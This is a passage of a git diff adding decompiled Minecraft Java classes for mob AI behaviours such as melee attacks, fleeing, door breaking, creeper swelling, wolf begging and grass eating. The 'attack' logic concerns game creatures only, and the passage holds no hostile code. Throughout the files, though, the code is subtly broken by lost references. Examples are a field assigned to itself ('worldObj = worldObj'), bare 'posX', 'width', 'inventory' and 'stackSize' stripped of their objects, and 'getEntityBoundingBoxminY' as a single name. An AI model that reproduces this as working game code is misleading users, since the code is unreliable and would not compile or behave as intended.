+import net.minecraft.pathfinding.PathEntity;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+
+
+
+
+
+
+
+
+public class EntityAIAttackOnCollide
+  extends EntityAIBase
+{
+  World worldObj;
+  protected EntityCreature attacker;
+  int attackTick;
+  double speedTowardsTarget;
+  boolean longMemory;
+  PathEntity entityPathEntity;
+  Class classTarget;
+  private int field_75445_i;
+  private double field_151497_i;
+  private double field_151495_j;
+  private double field_151496_k;
+  private static final String __OBFID = "CL_00001595";
+  
+  public EntityAIAttackOnCollide(EntityCreature p_i1635_1_, Class p_i1635_2_, double p_i1635_3_, boolean p_i1635_5_)
+  {
+    this(p_i1635_1_, p_i1635_3_, p_i1635_5_);
+    classTarget = p_i1635_2_;
+  }
+  
+  public EntityAIAttackOnCollide(EntityCreature p_i1636_1_, double p_i1636_2_, boolean p_i1636_4_)
+  {
+    attacker = p_i1636_1_;
+    worldObj = worldObj;
+    speedTowardsTarget = p_i1636_2_;
+    longMemory = p_i1636_4_;
+    setMutexBits(3);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    EntityLivingBase var1 = attacker.getAttackTarget();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    if (!var1.isEntityAlive())
+    {
+      return false;
+    }
+    if ((classTarget != null) && (!classTarget.isAssignableFrom(var1.getClass())))
+    {
+      return false;
+    }
+    
+
+    entityPathEntity = attacker.getNavigator().getPathToEntityLiving(var1);
+    return entityPathEntity != null;
+  }
+  
+
+
+
+
+  public boolean continueExecuting()
+  {
+    EntityLivingBase var1 = attacker.getAttackTarget();
+    return !longMemory ? true : attacker.getNavigator().noPath() ? false : !var1.isEntityAlive() ? false : var1 == null ? false : attacker.func_180485_d(new BlockPos(var1));
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    attacker.getNavigator().setPath(entityPathEntity, speedTowardsTarget);
+    field_75445_i = 0;
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    attacker.getNavigator().clearPathEntity();
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    EntityLivingBase var1 = attacker.getAttackTarget();
+    attacker.getLookHelper().setLookPositionWithEntity(var1, 30.0F, 30.0F);
+    double var2 = attacker.getDistanceSq(posX, getEntityBoundingBoxminY, posZ);
+    double var4 = func_179512_a(var1);
+    field_75445_i -= 1;
+    
+    if (((longMemory) || (attacker.getEntitySenses().canSee(var1))) && (field_75445_i <= 0) && (((field_151497_i == 0.0D) && (field_151495_j == 0.0D) && (field_151496_k == 0.0D)) || (var1.getDistanceSq(field_151497_i, field_151495_j, field_151496_k) >= 1.0D) || (attacker.getRNG().nextFloat() < 0.05F)))
+    {
+      field_151497_i = posX;
+      field_151495_j = getEntityBoundingBoxminY;
+      field_151496_k = posZ;
+      field_75445_i = (4 + attacker.getRNG().nextInt(7));
+      
+      if (var2 > 1024.0D)
+      {
+        field_75445_i += 10;
+      }
+      else if (var2 > 256.0D)
+      {
+        field_75445_i += 5;
+      }
+      
+      if (!attacker.getNavigator().tryMoveToEntityLiving(var1, speedTowardsTarget))
+      {
+        field_75445_i += 15;
+      }
+    }
+    
+    attackTick = Math.max(attackTick - 1, 0);
+    
+    if ((var2 <= var4) && (attackTick <= 0))
+    {
+      attackTick = 20;
+      
+      if (attacker.getHeldItem() != null)
+      {
+        attacker.swingItem();
+      }
+      
+      attacker.attackEntityAsMob(var1);
+    }
+  }
+  
+  protected double func_179512_a(EntityLivingBase p_179512_1_)
+  {
+    return attacker.width * 2.0F * attacker.width * 2.0F + width;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIAvoidEntity.java b/src/minecraft/net/minecraft/entity/ai/EntityAIAvoidEntity.java
new file mode 100644
index 0000000..8e42169
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIAvoidEntity.java
@@ -0,0 +1,124 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.util.List;
+import net.minecraft.command.IEntitySelector;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.pathfinding.PathEntity;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.util.Vec3;
+
+public class EntityAIAvoidEntity extends EntityAIBase
+{
+  public final Predicate field_179509_a = new Predicate()
+  {
+    private static final String __OBFID = "CL_00001575";
+    
+    public boolean func_180419_a(Entity p_180419_1_) {
+      return (p_180419_1_.isEntityAlive()) && (theEntity.getEntitySenses().canSee(p_180419_1_));
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180419_a((Entity)p_apply_1_);
+    }
+  };
+  
+  protected EntityCreature theEntity;
+  
+  private double farSpeed;
+  
+  private double nearSpeed;
+  
+  protected Entity closestLivingEntity;
+  
+  private float field_179508_f;
+  
+  private PathEntity entityPathEntity;
+  private PathNavigate entityPathNavigate;
+  private Predicate field_179510_i;
+  private static final String __OBFID = "CL_00001574";
+  
+  public EntityAIAvoidEntity(EntityCreature p_i45890_1_, Predicate p_i45890_2_, float p_i45890_3_, double p_i45890_4_, double p_i45890_6_)
+  {
+    theEntity = p_i45890_1_;
+    field_179510_i = p_i45890_2_;
+    field_179508_f = p_i45890_3_;
+    farSpeed = p_i45890_4_;
+    nearSpeed = p_i45890_6_;
+    entityPathNavigate = p_i45890_1_.getNavigator();
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    List var1 = theEntity.worldObj.func_175674_a(theEntity, theEntity.getEntityBoundingBox().expand(field_179508_f, 3.0D, field_179508_f), Predicates.and(new Predicate[] { IEntitySelector.field_180132_d, field_179509_a, field_179510_i }));
+    
+    if (var1.isEmpty())
+    {
+      return false;
+    }
+    
+
+    closestLivingEntity = ((Entity)var1.get(0));
+    Vec3 var2 = RandomPositionGenerator.findRandomTargetBlockAwayFrom(theEntity, 16, 7, new Vec3(closestLivingEntity.posX, closestLivingEntity.posY, closestLivingEntity.posZ));
+    
+    if (var2 == null)
+    {
+      return false;
+    }
+    if (closestLivingEntity.getDistanceSq(xCoord, yCoord, zCoord) < closestLivingEntity.getDistanceSqToEntity(theEntity))
+    {
+      return false;
+    }
+    
+
+    entityPathEntity = entityPathNavigate.getPathToXYZ(xCoord, yCoord, zCoord);
+    return entityPathEntity == null ? false : entityPathEntity.isDestinationSame(var2);
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !entityPathNavigate.noPath();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    entityPathNavigate.setPath(entityPathEntity, farSpeed);
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    closestLivingEntity = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    if (theEntity.getDistanceSqToEntity(closestLivingEntity) < 49.0D)
+    {
+      theEntity.getNavigator().setSpeed(nearSpeed);
+    }
+    else
+    {
+      theEntity.getNavigator().setSpeed(farSpeed);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIBase.java b/src/minecraft/net/minecraft/entity/ai/EntityAIBase.java
new file mode 100644
index 0000000..5c54dcf
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIBase.java
@@ -0,0 +1,66 @@
+package net.minecraft.entity.ai;
+
+
+
+public abstract class EntityAIBase
+{
+  private int mutexBits;
+  
+
+  private static final String __OBFID = "CL_00001587";
+  
+
+
+  public EntityAIBase() {}
+  
+
+  public abstract boolean shouldExecute();
+  
+
+  public boolean continueExecuting()
+  {
+    return shouldExecute();
+  }
+  
+
+
+
+
+  public boolean isInterruptible()
+  {
+    return true;
+  }
+  
+
+
+
+
+  public void startExecuting() {}
+  
+
+
+
+  public void resetTask() {}
+  
+
+
+
+  public void updateTask() {}
+  
+
+
+
+  public void setMutexBits(int p_75248_1_)
+  {
+    mutexBits = p_75248_1_;
+  }
+  
+
+
+
+
+  public int getMutexBits()
+  {
+    return mutexBits;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIBeg.java b/src/minecraft/net/minecraft/entity/ai/EntityAIBeg.java
new file mode 100644
index 0000000..5d3381e
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIBeg.java
@@ -0,0 +1,78 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+public class EntityAIBeg extends EntityAIBase
+{
+  private EntityWolf theWolf;
+  private EntityPlayer thePlayer;
+  private World worldObject;
+  private float minPlayerDistance;
+  private int field_75384_e;
+  private static final String __OBFID = "CL_00001576";
+  
+  public EntityAIBeg(EntityWolf p_i1617_1_, float p_i1617_2_)
+  {
+    theWolf = p_i1617_1_;
+    worldObject = worldObj;
+    minPlayerDistance = p_i1617_2_;
+    setMutexBits(2);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    thePlayer = worldObject.getClosestPlayerToEntity(theWolf, minPlayerDistance);
+    return thePlayer == null ? false : hasPlayerGotBoneInHand(thePlayer);
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return thePlayer.isEntityAlive();
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    theWolf.func_70918_i(true);
+    field_75384_e = (40 + theWolf.getRNG().nextInt(40));
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    theWolf.func_70918_i(false);
+    thePlayer = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    theWolf.getLookHelper().setLookPosition(thePlayer.posX, thePlayer.posY + thePlayer.getEyeHeight(), thePlayer.posZ, 10.0F, theWolf.getVerticalFaceSpeed());
+    field_75384_e -= 1;
+  }
+  
+
+
+
+  private boolean hasPlayerGotBoneInHand(EntityPlayer p_75382_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    return (!theWolf.isTamed()) && (var2.getItem() == Items.bone) ? true : var2 == null ? false : theWolf.isBreedingItem(var2);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIBreakDoor.java b/src/minecraft/net/minecraft/entity/ai/EntityAIBreakDoor.java
new file mode 100644
index 0000000..eaf9089
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIBreakDoor.java
@@ -0,0 +1,108 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.block.BlockDoor;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.world.World;
+
+public class EntityAIBreakDoor extends EntityAIDoorInteract
+{
+  private int breakingTime;
+  private int field_75358_j = -1;
+  private static final String __OBFID = "CL_00001577";
+  
+  public EntityAIBreakDoor(EntityLiving p_i1618_1_)
+  {
+    super(p_i1618_1_);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!super.shouldExecute())
+    {
+      return false;
+    }
+    if (!theEntity.worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing"))
+    {
+      return false;
+    }
+    
+
+    BlockDoor var10000 = doorBlock;
+    return !BlockDoor.func_176514_f(theEntity.worldObj, field_179507_b);
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    super.startExecuting();
+    breakingTime = 0;
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    double var1 = theEntity.getDistanceSq(field_179507_b);
+    
+
+    if (breakingTime <= 240)
+    {
+      BlockDoor var10000 = doorBlock;
+      
+      if ((!BlockDoor.func_176514_f(theEntity.worldObj, field_179507_b)) && (var1 < 4.0D))
+      {
+        boolean var3 = true;
+        return var3;
+      }
+    }
+    
+    boolean var3 = false;
+    return var3;
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    super.resetTask();
+    theEntity.worldObj.sendBlockBreakProgress(theEntity.getEntityId(), field_179507_b, -1);
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    super.updateTask();
+    
+    if (theEntity.getRNG().nextInt(20) == 0)
+    {
+      theEntity.worldObj.playAuxSFX(1010, field_179507_b, 0);
+    }
+    
+    breakingTime += 1;
+    int var1 = (int)(breakingTime / 240.0F * 10.0F);
+    
+    if (var1 != field_75358_j)
+    {
+      theEntity.worldObj.sendBlockBreakProgress(theEntity.getEntityId(), field_179507_b, var1);
+      field_75358_j = var1;
+    }
+    
+    if ((breakingTime == 240) && (theEntity.worldObj.getDifficulty() == net.minecraft.world.EnumDifficulty.HARD))
+    {
+      theEntity.worldObj.setBlockToAir(field_179507_b);
+      theEntity.worldObj.playAuxSFX(1012, field_179507_b, 0);
+      theEntity.worldObj.playAuxSFX(2001, field_179507_b, net.minecraft.block.Block.getIdFromBlock(doorBlock));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIControlledByPlayer.java b/src/minecraft/net/minecraft/entity/ai/EntityAIControlledByPlayer.java
new file mode 100644
index 0000000..be29748
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIControlledByPlayer.java
@@ -0,0 +1,228 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockSlab;
+import net.minecraft.block.BlockStairs;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.pathfinder.WalkNodeProcessor;
+
+
+
+
+public class EntityAIControlledByPlayer
+  extends EntityAIBase
+{
+  private final EntityLiving thisEntity;
+  private final float maxSpeed;
+  private float currentSpeed;
+  private boolean speedBoosted;
+  private int speedBoostTime;
+  private int maxSpeedBoostTime;
+  private static final String __OBFID = "CL_00001580";
+  
+  public EntityAIControlledByPlayer(EntityLiving p_i1620_1_, float p_i1620_2_)
+  {
+    thisEntity = p_i1620_1_;
+    maxSpeed = p_i1620_2_;
+    setMutexBits(7);
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    currentSpeed = 0.0F;
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    speedBoosted = false;
+    currentSpeed = 0.0F;
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    return (thisEntity.isEntityAlive()) && (thisEntity.riddenByEntity != null) && ((thisEntity.riddenByEntity instanceof EntityPlayer)) && ((speedBoosted) || (thisEntity.canBeSteered()));
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    EntityPlayer var1 = (EntityPlayer)thisEntity.riddenByEntity;
+    EntityCreature var2 = (EntityCreature)thisEntity;
+    float var3 = MathHelper.wrapAngleTo180_float(rotationYaw - thisEntity.rotationYaw) * 0.5F;
+    
+    if (var3 > 5.0F)
+    {
+      var3 = 5.0F;
+    }
+    
+    if (var3 < -5.0F)
+    {
+      var3 = -5.0F;
+    }
+    
+    thisEntity.rotationYaw = MathHelper.wrapAngleTo180_float(thisEntity.rotationYaw + var3);
+    
+    if (currentSpeed < maxSpeed)
+    {
+      currentSpeed += (maxSpeed - currentSpeed) * 0.01F;
+    }
+    
+    if (currentSpeed > maxSpeed)
+    {
+      currentSpeed = maxSpeed;
+    }
+    
+    int var4 = MathHelper.floor_double(thisEntity.posX);
+    int var5 = MathHelper.floor_double(thisEntity.posY);
+    int var6 = MathHelper.floor_double(thisEntity.posZ);
+    float var7 = currentSpeed;
+    
+    if (speedBoosted)
+    {
+      if (speedBoostTime++ > maxSpeedBoostTime)
+      {
+        speedBoosted = false;
+      }
+      
+      var7 += var7 * 1.15F * MathHelper.sin(speedBoostTime / maxSpeedBoostTime * 3.1415927F);
+    }
+    
+    float var8 = 0.91F;
+    
+    if (thisEntity.onGround)
+    {
+      var8 = thisEntity.worldObj.getBlockState(new BlockPos(MathHelper.floor_float(var4), MathHelper.floor_float(var5) - 1, MathHelper.floor_float(var6))).getBlock().slipperiness * 0.91F;
+    }
+    
+    float var9 = 0.16277136F / (var8 * var8 * var8);
+    float var10 = MathHelper.sin(rotationYaw * 3.1415927F / 180.0F);
+    float var11 = MathHelper.cos(rotationYaw * 3.1415927F / 180.0F);
+    float var12 = var2.getAIMoveSpeed() * var9;
+    float var13 = Math.max(var7, 1.0F);
+    var13 = var12 / var13;
+    float var14 = var7 * var13;
+    float var15 = -(var14 * var10);
+    float var16 = var14 * var11;
+    
+    if (MathHelper.abs(var15) > MathHelper.abs(var16))
+    {
+      if (var15 < 0.0F)
+      {
+        var15 -= thisEntity.width / 2.0F;
+      }
+      
+      if (var15 > 0.0F)
+      {
+        var15 += thisEntity.width / 2.0F;
+      }
+      
+      var16 = 0.0F;
+    }
+    else
+    {
+      var15 = 0.0F;
+      
+      if (var16 < 0.0F)
+      {
+        var16 -= thisEntity.width / 2.0F;
+      }
+      
+      if (var16 > 0.0F)
+      {
+        var16 += thisEntity.width / 2.0F;
+      }
+    }
+    
+    int var17 = MathHelper.floor_double(thisEntity.posX + var15);
+    int var18 = MathHelper.floor_double(thisEntity.posZ + var16);
+    int var19 = MathHelper.floor_float(thisEntity.width + 1.0F);
+    int var20 = MathHelper.floor_float(thisEntity.height + height + 1.0F);
+    int var21 = MathHelper.floor_float(thisEntity.width + 1.0F);
+    
+    if ((var4 != var17) || (var6 != var18))
+    {
+      Block var22 = thisEntity.worldObj.getBlockState(new BlockPos(var4, var5, var6)).getBlock();
+      boolean var23 = (!isStairOrSlab(var22)) && ((var22.getMaterial() != Material.air) || (!isStairOrSlab(thisEntity.worldObj.getBlockState(new BlockPos(var4, var5 - 1, var6)).getBlock())));
+      
+      if ((var23) && (WalkNodeProcessor.func_176170_a(thisEntity.worldObj, thisEntity, var17, var5, var18, var19, var20, var21, false, false, true) == 0) && (1 == WalkNodeProcessor.func_176170_a(thisEntity.worldObj, thisEntity, var4, var5 + 1, var6, var19, var20, var21, false, false, true)) && (1 == WalkNodeProcessor.func_176170_a(thisEntity.worldObj, thisEntity, var17, var5 + 1, var18, var19, var20, var21, false, false, true)))
+      {
+        var2.getJumpHelper().setJumping();
+      }
+    }
+    
+    if ((!capabilities.isCreativeMode) && (currentSpeed >= maxSpeed * 0.5F) && (thisEntity.getRNG().nextFloat() < 0.006F) && (!speedBoosted))
+    {
+      ItemStack var24 = var1.getHeldItem();
+      
+      if ((var24 != null) && (var24.getItem() == Items.carrot_on_a_stick))
+      {
+        var24.damageItem(1, var1);
+        
+        if (stackSize == 0)
+        {
+          ItemStack var25 = new ItemStack(Items.fishing_rod);
+          var25.setTagCompound(var24.getTagCompound());
+          inventory.mainInventory[inventory.currentItem] = var25;
+        }
+      }
+    }
+    
+    thisEntity.moveEntityWithHeading(0.0F, var7);
+  }
+  
+
+
+
+  private boolean isStairOrSlab(Block p_151498_1_)
+  {
+    return ((p_151498_1_ instanceof BlockStairs)) || ((p_151498_1_ instanceof BlockSlab));
+  }
+  
+
+
+
+  public boolean isSpeedBoosted()
+  {
+    return speedBoosted;
+  }
+  
+
+
+
+  public void boostSpeed()
+  {
+    speedBoosted = true;
+    speedBoostTime = 0;
+    maxSpeedBoostTime = (thisEntity.getRNG().nextInt(841) + 140);
+  }
+  
+
+
+
+  public boolean isControlledByPlayer()
+  {
+    return (!isSpeedBoosted()) && (currentSpeed > maxSpeed * 0.3F);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAICreeperSwell.java b/src/minecraft/net/minecraft/entity/ai/EntityAICreeperSwell.java
new file mode 100644
index 0000000..9e783c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAICreeperSwell.java
@@ -0,0 +1,71 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.pathfinding.PathNavigate;
+
+
+
+
+public class EntityAICreeperSwell
+  extends EntityAIBase
+{
+  EntityCreeper swellingCreeper;
+  EntityLivingBase creeperAttackTarget;
+  private static final String __OBFID = "CL_00001614";
+  
+  public EntityAICreeperSwell(EntityCreeper p_i1655_1_)
+  {
+    swellingCreeper = p_i1655_1_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    EntityLivingBase var1 = swellingCreeper.getAttackTarget();
+    return (swellingCreeper.getCreeperState() > 0) || ((var1 != null) && (swellingCreeper.getDistanceSqToEntity(var1) < 9.0D));
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    swellingCreeper.getNavigator().clearPathEntity();
+    creeperAttackTarget = swellingCreeper.getAttackTarget();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    creeperAttackTarget = null;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    if (creeperAttackTarget == null)
+    {
+      swellingCreeper.setCreeperState(-1);
+    }
+    else if (swellingCreeper.getDistanceSqToEntity(creeperAttackTarget) > 49.0D)
+    {
+      swellingCreeper.setCreeperState(-1);
+    }
+    else if (!swellingCreeper.getEntitySenses().canSee(creeperAttackTarget))
+    {
+      swellingCreeper.setCreeperState(-1);
+    }
+    else
+    {
+      swellingCreeper.setCreeperState(1);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIDefendVillage.java b/src/minecraft/net/minecraft/entity/ai/EntityAIDefendVillage.java
new file mode 100644
index 0000000..5385dad
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIDefendVillage.java
@@ -0,0 +1,66 @@
+package net.minecraft.entity.ai;
+
+import java.util.Random;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.village.Village;
+
+
+public class EntityAIDefendVillage
+  extends EntityAITarget
+{
+  EntityIronGolem irongolem;
+  EntityLivingBase villageAgressorTarget;
+  private static final String __OBFID = "CL_00001618";
+  
+  public EntityAIDefendVillage(EntityIronGolem p_i1659_1_)
+  {
+    super(p_i1659_1_, false, true);
+    irongolem = p_i1659_1_;
+    setMutexBits(1);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    Village var1 = irongolem.getVillage();
+    
+    if (var1 == null)
+    {
+      return false;
+    }
+    
+
+    villageAgressorTarget = var1.findNearestVillageAggressor(irongolem);
+    
+    if (!isSuitableTarget(villageAgressorTarget, false))
+    {
+      if (taskOwner.getRNG().nextInt(20) == 0)
+      {
+        villageAgressorTarget = var1.func_82685_c(irongolem);
+        return isSuitableTarget(villageAgressorTarget, false);
+      }
+      
+
+      return false;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+
+  public void startExecuting()
+  {
+    irongolem.setAttackTarget(villageAgressorTarget);
+    super.startExecuting();
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIDoorInteract.java b/src/minecraft/net/minecraft/entity/ai/EntityAIDoorInteract.java
new file mode 100644
index 0000000..29b6cce
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIDoorInteract.java
@@ -0,0 +1,120 @@
+package net.minecraft.entity.ai;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDoor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.pathfinding.PathEntity;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.pathfinding.PathPoint;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+
+
+
+public abstract class EntityAIDoorInteract
+  extends EntityAIBase
+{
+  protected EntityLiving theEntity;
+  protected BlockPos field_179507_b;
+  protected BlockDoor doorBlock;
+  boolean hasStoppedDoorInteraction;
+  float entityPositionX;
+  float entityPositionZ;
+  private static final String __OBFID = "CL_00001581";
+  
+  public EntityAIDoorInteract(EntityLiving p_i1621_1_)
+  {
+    field_179507_b = BlockPos.ORIGIN;
+    theEntity = p_i1621_1_;
+    
+    if (!(p_i1621_1_.getNavigator() instanceof PathNavigateGround))
+    {
+      throw new IllegalArgumentException("Unsupported mob type for DoorInteractGoal");
+    }
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (!theEntity.isCollidedHorizontally)
+    {
+      return false;
+    }
+    
+
+    PathNavigateGround var1 = (PathNavigateGround)theEntity.getNavigator();
+    PathEntity var2 = var1.getPath();
+    
+    if ((var2 != null) && (!var2.isFinished()) && (var1.func_179686_g()))
+    {
+      for (int var3 = 0; var3 < Math.min(var2.getCurrentPathIndex() + 2, var2.getCurrentPathLength()); var3++)
+      {
+        PathPoint var4 = var2.getPathPointFromIndex(var3);
+        field_179507_b = new BlockPos(xCoord, yCoord + 1, zCoord);
+        
+        if (theEntity.getDistanceSq(field_179507_b.getX(), theEntity.posY, field_179507_b.getZ()) <= 2.25D)
+        {
+          doorBlock = func_179506_a(field_179507_b);
+          
+          if (doorBlock != null)
+          {
+            return true;
+          }
+        }
+      }
+      
+      field_179507_b = new BlockPos(theEntity).offsetUp();
+      doorBlock = func_179506_a(field_179507_b);
+      return doorBlock != null;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public boolean continueExecuting()
+  {
+    return !hasStoppedDoorInteraction;
+  }
+  
+
+
+
+  public void startExecuting()
+  {
+    hasStoppedDoorInteraction = false;
+    entityPositionX = ((float)(field_179507_b.getX() + 0.5F - theEntity.posX));
+    entityPositionZ = ((float)(field_179507_b.getZ() + 0.5F - theEntity.posZ));
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    float var1 = (float)(field_179507_b.getX() + 0.5F - theEntity.posX);
+    float var2 = (float)(field_179507_b.getZ() + 0.5F - theEntity.posZ);
+    float var3 = entityPositionX * var1 + entityPositionZ * var2;
+    
+    if (var3 < 0.0F)
+    {
+      hasStoppedDoorInteraction = true;
+    }
+  }
+  
+  private BlockDoor func_179506_a(BlockPos p_179506_1_)
+  {
+    Block var2 = theEntity.worldObj.getBlockState(p_179506_1_).getBlock();
+    return ((var2 instanceof BlockDoor)) && (var2.getMaterial() == Material.wood) ? (BlockDoor)var2 : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIEatGrass.java b/src/minecraft/net/minecraft/entity/ai/EntityAIEatGrass.java
new file mode 100644
index 0000000..a2f5fe4
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIEatGrass.java
@@ -0,0 +1,121 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.pattern.BlockStateHelper;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+public class EntityAIEatGrass extends EntityAIBase
+{
+  private static final Predicate field_179505_b = BlockStateHelper.forBlock(Blocks.tallgrass).func_177637_a(net.minecraft.block.BlockTallGrass.field_176497_a, Predicates.equalTo(net.minecraft.block.BlockTallGrass.EnumType.GRASS));
+  
+
+  private EntityLiving grassEaterEntity;
+  
+  private World entityWorld;
+  
+  int eatingGrassTimer;
+  
+  private static final String __OBFID = "CL_00001582";
+  
+
+  public EntityAIEatGrass(EntityLiving p_i45314_1_)
+  {
+    grassEaterEntity = p_i45314_1_;
+    entityWorld = worldObj;
+    setMutexBits(7);
+  }
+  
+
+
+
+  public boolean shouldExecute()
+  {
+    if (grassEaterEntity.getRNG().nextInt(grassEaterEntity.isChild() ? 50 : 1000) != 0)
+    {
+      return false;
+    }
+    
+
+    BlockPos var1 = new BlockPos(grassEaterEntity.posX, grassEaterEntity.posY, grassEaterEntity.posZ);
+    return field_179505_b.apply(entityWorld.getBlockState(var1));
+  }
+  
+
+
+
+
+  public void startExecuting()
+  {
+    eatingGrassTimer = 40;
+    entityWorld.setEntityState(grassEaterEntity, (byte)10);
+    grassEaterEntity.getNavigator().clearPathEntity();
+  }
+  
+
+
+
+  public void resetTask()
+  {
+    eatingGrassTimer = 0;
+  }
+  
+
+
+
+  public boolean continueExecuting()
+  {
+    return eatingGrassTimer > 0;
+  }
+  
+
+
+
+  public int getEatingGrassTimer()
+  {
+    return eatingGrassTimer;
+  }
+  
+
+
+
+  public void updateTask()
+  {
+    eatingGrassTimer = Math.max(0, eatingGrassTimer - 1);
+    
+    if (eatingGrassTimer == 4)
+    {
+      BlockPos var1 = new BlockPos(grassEaterEntity.posX, grassEaterEntity.posY, grassEaterEntity.posZ);
+      
+      if (field_179505_b.apply(entityWorld.getBlockState(var1)))
+      {
+        if (entityWorld.getGameRules().getGameRuleBooleanValue("mobGriefing"))
+        {
+          entityWorld.destroyBlock(var1, false);
+        }
+        
+        grassEaterEntity.eatGrassBonus();
+      }
+      else
+      {
+        BlockPos var2 = var1.offsetDown();
+        
+        if (entityWorld.getBlockState(var2).getBlock() == Blocks.grass)
+        {
+          if (entityWorld.getGameRules().getGameRuleBooleanValue("mobGriefing"))
+          {
+            entityWorld.playAuxSFX(2001, var2, Block.getIdFromBlock(Blocks.grass));
+            entityWorld.setBlockState(var2, Blocks.dirt.getDefaultState(), 2);
+          }
+          
+          grassEaterEntity.eatGrassBonus();
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/ai/EntityAIFindEntityNearest.java b/src/minecraft/net/minecraft/entity/ai/EntityAIFindEntityNearest.java
new file mode 100644
index 0000000..9388a8a
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/ai/EntityAIFindEntityNearest.java
@@ -0,0 +1,122 @@
+package net.minecraft.entity.ai;
+
+import com.google.common.base.Predicate;
